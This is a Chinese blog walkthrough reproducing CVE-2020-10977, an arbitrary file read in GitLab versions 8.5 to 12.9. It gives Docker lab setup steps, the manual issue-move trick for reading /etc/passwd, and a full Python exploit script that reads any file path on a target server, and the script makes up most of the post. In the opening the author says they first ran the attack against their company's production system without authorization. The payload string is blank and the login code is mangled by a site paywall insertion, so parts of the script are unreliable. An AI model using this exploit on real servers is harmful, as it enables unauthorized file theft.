上周五摸鱼的时候在Hackone看到GitLab文件读取漏洞,就试着拿公司生产环境搞了一下,文件没有读到还因为产生辣鸡数据被运维哥哥叼了一顿,本着不是很甘心的想法在本地搭建了一套才搞出来,以下是复现过程。
1.环境搭建
漏洞编号:CVE-2020-10977
影响版本:GitLab GitLab CE/EE >=8.5 and <=12.9
复现是直接用docker拉的,中间的大概过程:
#配置浙大源,安装docker
curl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
sudo apt-get update
sudo apt-get install docker-ce
# 启动docker
systemctl start docker
# 关闭apache占用的80端口
/etc/init.d/apache2 stop
# 拉取GitLab
docker run --detach
--hostname 192.168.109.128
--publish 443:443 --publish 80:80 --publish 22:22
--name gitlab
--restart always
--volume /root/config:/etc/gitlab
--volume /root/logs:/var/log/gitlab
--volume /root/data:/var/opt/gitlab
gitlab/gitlab-ee:12.1.6-ee.0
注意:
① --hostname + 靶机IP
② 80,443为搭建后的gitlab端口
③拉取gitlab版本:gitlab-ee:12.1.6-ee.0
拉取完成后访问:http://192.168.109.128,回显正常。环境搭建成功。
2.漏洞复现
注册用户:test/12345678
①创建两个项目:project1,project2
②创建issues,里面打payload:

③移动 issues。从project1移动到project2:
④移动完成后再project2中可以看到passwd文件,直接下载即可读取到敏感文件,漏洞复现成功:
⑤脚本梭哈:
#!/usr/bin/env python3
import sys
import json
import requests
import argparse
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument('url', help='Target URL with http(s)://')
parser.add_argument('username', help='GitLab Username')
parser.add_argument('password', help='GitLab Password')
args = parser.parse_args()
base_url = args.url
if base_url.startswith('http://') or base_url.startswith('https://'):
pass
else:
print('[-] Include http:// or https:// in the URL!')
sys.exit()
if base_url.endswith('/'):
base_url = base_url[:-1]
username = args.username
password = args.password
login_url = base_url + '/users/sign_in'
project_url = base_url + '/projects/new'
create_url = base_url + '/projects'
prev_issue_url = ''
csrf_token = ''
project_names = ['ProjectOne', 'ProjectTwo']
session = requests.Session()
def banner():
print('-'*34)
print('--- CVE-2020-10977 ---------------')
print('--- GitLab Arbitrary File Read ---')
print('--- 12.9.0 & Below ---------------')
print('-'*34 + 'n')
print('[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]')
print('[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]n')
def show_info():
print('[+] Target : ' + base_url)
print('[+] Username : ' + username)
print('[+] Password : ' + password)
print('[+] Project Names : {}, {}n'.format(project_names[0], project_names[1]))
def login():
print('[!] Trying to Login...')
try:
login_req = session.get(login_url, verify=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
login_sc = login_req.status_code
if login_sc == 200:
login_resp = login_req.text
soup = BeautifulSoup(login_resp, 'html.parser')
meta = soup.find_all('meta')
for entry in meta:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'csrf-token':
csrf_token = entry.attrs['content']
else:
print('[-] Status : ' + str(login_req.status_code))
sys.exit()
login_data = {
'utf8': '✓',
'authenticity_token': csrf_token,
'user
': username,此处为隐藏的内容注册登录后,方可查看登录'user ': password,
'user[remember_me]': 0
}
login_req = session.post(login_url, data=login_data, allow_redirects=False)
if login_req.status_code == 302 and 'redirected' in login_req.text:
print('[+] Login Successful!')
else:
print('[-] Status : ' + str(login_req.status_code))
print('[-] Login Failed!')
sys.exit()
def create_project(project):
global csrf_token
print('[!] Creating {}...'.format(project))
try:
project_req = session.get(project_url, verify=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
project_resp = project_req.text
soup = BeautifulSoup(project_resp, 'html.parser')
inputs = soup.find_all('input')
for entry in inputs:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'project[namespace_id]':
project_id = entry.attrs['value']
meta = soup.find_all('meta')
for entry in meta:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'csrf-token':
csrf_token = entry.attrs['content']
create_data = {
'utf8': '✓',
'authenticity_token': csrf_token,
'project[ci_cd_only]': 'false',
'project[name]': project,
'project[namespace_id]': project_id,
'project[path]': project,
'project[description]': '',
'project[visibility_level]' : '0'
}
try:
create_req = session.post(create_url, data=create_data, allow_redirects=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
if create_req.status_code == 302 and 'redirected' in create_req.text:
print('[+] {} Created Successfully!'.format(project))
else:
pass
def create_issue(project_name):
global prev_issue_url
print('[!] Creating an Issue...')
issue_url = '{}/{}/{}/issues/new'.format(base_url, username, project_name)
try:
issue_req = session.get(issue_url, verify=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
issue_resp = issue_req.text
soup = BeautifulSoup(issue_resp, 'html.parser')
meta = soup.find_all('meta')
for entry in meta:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'csrf-token':
csrf_token = entry.attrs['content']
issue_create_url = issue_url.replace('/new', '')
issue_data = {
'utf8': '✓',
'authenticity_token' : csrf_token,
'issue[title]': 'read_{}'.format(filename),
'issue[description]' : ''.format(filename),
'issue[confidential]' : '0',
'issue[assignee_ids][]' : '0',
'issue[label_ids][]' : '',
'issue[due_date]' : '',
'issue[lock_version]' : '0'
}
try:
create_req = session.post(issue_create_url, data=issue_data, allow_redirects=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
if create_req.status_code == 302 and 'redirected' in create_req.text:
print('[+] Issue Created Successfully!')
create_resp = create_req.text
soup = BeautifulSoup(create_resp, 'html.parser')
prev_issue_url = soup.find('a')['href']
if base_url.startswith('https://') and prev_issue_url.startswith('http://'):
prev_issue_url = prev_issue_url.replace('http://', 'https://')
else:
print('[-] Status : ' + str(create_req.status_code))
print('[-] Failed to Create an Issue!')
def move_issue(source, second, filename):
print('[!] Moving Issue...')
id_url = '{}/{}/{}'.format(base_url, username, second)
try:
id_req = session.get(id_url, verify=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
id_resp = id_req.text
soup = BeautifulSoup(id_resp, 'html.parser')
body = soup.find('body')
project_id = body.attrs['data-project-id']
move_url = prev_issue_url + '/move'
try:
csrf_req = session.get(prev_issue_url, verify=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
csrf_resp = csrf_req.text
soup = BeautifulSoup(csrf_resp, 'html.parser')
meta = soup.find_all('meta')
for entry in meta:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'csrf-token':
csrf_token = entry.attrs['content']
move_data = {
"move_to_project_id": int(project_id)
}
move_data = json.dumps(move_data)
move_headers = {
'X-CSRF-Token': csrf_token,
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/json;charset=UTF-8'
}
try:
move_req = session.post(move_url, data=move_data, headers=move_headers)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
if move_req.status_code == 200:
print('[+] Issue Moved Successfully!')
description = json.loads(move_req.text)["description"]
filepath = description.split('](')[1][1:-1]
fileurl = "{}/{}/{}/{}".format(base_url, username, second, filepath)
print('[+] File URL : ' + fileurl)
try:
contents = session.get(fileurl, verify=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
if contents.status_code == 404:
print('[-] No such file or directory')
else:
print('n> ' + filename)
print('{}nn{}n{}n'.format('-'*40, contents.text, '-'*40 ))
elif move_req.status_code == 500:
print('[-] Access Denied!')
else:
print('[-] Status : ' + str(move_req.status_code))
def delete_project(project):
print('[!] Deleting {}...'.format(project))
delete_data = {
'utf8': '✓',
'_method': 'delete',
'authenticity_token' : csrf_token
}
delete_url = '{}/{}/{}'.format(base_url, username, project)
try:
delete_req = session.post(delete_url, data=delete_data, verify=False)
except Exception as exc:
print('n[-] Exception : ' + str(exc))
sys.exit()
if delete_req.status_code == 200:
print('[+] {} Successfully Deleted!'.format(project))
else:
print('[-] Status : ' + str(delete_req.status_code))
try:
banner()
show_info()
login()
for project in project_names:
create_project(project)
while True:
filename = input('[>] Absolute Path to File : ')
create_issue(project_names[0])
move_issue(project_names[0], project_names[1], filename)
except KeyboardInterrupt:
print('n[-] Keyboard Interrupt')
for project in project_names:
delete_project(project)
sys.exit()
脚本来源:
https://blog.csdn.net/weixin_39811856/article/details/110390417
运行脚本,读取成功:
python gitlab.py http://192.168.109.128/ test 12345678
# test 12345678创的是用户名&密码
3.复现视频
从hackone扒拉下来的复现视频,仅作参考:
参考地址:
https://blog.csdn.net/weixin_39811856/article/details/11039041
https://hackerone.com/reports/827052
本文始发于微信公众号(安全鸭):GitLab任意文件读取(CVE-2020-10977)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论